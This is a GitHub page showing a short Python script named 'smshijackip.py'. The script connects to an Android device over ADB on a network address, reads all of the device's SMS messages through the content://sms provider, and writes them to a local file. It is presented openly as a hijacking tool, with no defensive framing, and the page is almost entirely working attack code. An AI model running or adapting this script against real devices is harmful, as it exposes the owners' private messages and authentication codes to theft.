-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathsmshijackip.py
More file actions
27 lines (21 loc) · 1015 Bytes
/
Copy pathsmshijackip.py
File metadata and controls
27 lines (21 loc) · 1015 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import subprocess
import io
# Connect to the Android device over Wi-Fi
adb_connect_command = ['adb', 'connect', '224.0.0.251:5555']
subprocess.Popen(adb_connect_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
# Construct the ADB command to retrieve SMS messages
adb_command = ['adb', 'shell', 'content', 'query', '--uri', 'content://sms']
# Execute the ADB command to retrieve SMS messages
process = subprocess.Popen(adb_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()
# Check if the command was successful
if process.returncode == 0:
# Decode the output from bytes to string
output_str = output.decode('utf-8')
# Save the SMS messages in a text file
with io.open('sms_messages.txt', 'w', encoding='utf-8') as file:
file.write(output_str)
print('SMS messages successfully saved in sms_messages.txt.')
else:
print('An error occurred while retrieving SMS messages.')
print('Error:', error.decode('utf-8'))